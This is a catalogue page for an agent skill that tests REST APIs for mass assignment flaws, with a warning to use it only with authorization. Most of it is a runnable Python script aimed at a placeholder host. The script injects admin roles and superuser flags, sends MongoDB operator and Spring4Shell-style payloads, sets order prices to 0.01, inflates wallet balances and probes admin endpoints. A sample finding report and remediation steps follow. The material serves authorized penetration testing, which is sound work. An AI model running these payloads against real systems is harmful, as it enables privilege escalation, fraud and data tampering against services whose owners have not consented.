On Anthropic: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
On Gemini API: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
On LangChain: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
On CrewAI: set DECIMAL_API_KEY and add decimalai.init(crewai=True) to record runs and skill use. The skill version stays in your repo.
On Google ADK: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
On Pydantic AI: save the skill to an agent here, set DECIMAL_API_KEY, and the same code uses it with no command to run. Changes you save reach the next run with no redeploy.
On Deep Agents: set DECIMAL_API_KEY and add decimalai.init(langchain=True) to record runs and skill use. The skill version stays in your repo.
On Microsoft Agent Framework: set DECIMAL_API_KEY and add decimalai.init(otel=True, agent_name="support") to record runs and skill use. The skill version stays in your repo.
On Strands: set DECIMAL_API_KEY and add decimalai.init(otel=True, agent_name="support") to record runs and skill use. The skill version stays in your repo.
Editors read files from your project, so DecimalAI config does not apply there.
Anywhere else: record a use with decimalai.log_skill_activation() inside a trace.
Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
requests libraryimport requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "[email protected]"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""
# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value is not None:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
return match
return False
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields
"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
if float(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
if float(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
| Term | Definition |
|---|---|
| Mass Assignment | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |
| Auto-Binding | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |
| Allowlist (Whitelist) | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |
| Blocklist (Blacklist) | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |
| Object Property Level Authorization | OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access |
| DTO (Data Transfer Object) | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |
Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach:
POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"} - returns user with role: "user"POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"} - returns user with role: "admin"is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium featuresPUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modifiedPitfalls:
user.role or address.verified can be injected## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
Published skills whose descriptions closely match this one, with their headline benchmark lift.
Skills that do similar work, with their headline benchmark lift.
From the same source and nearby in the catalogue.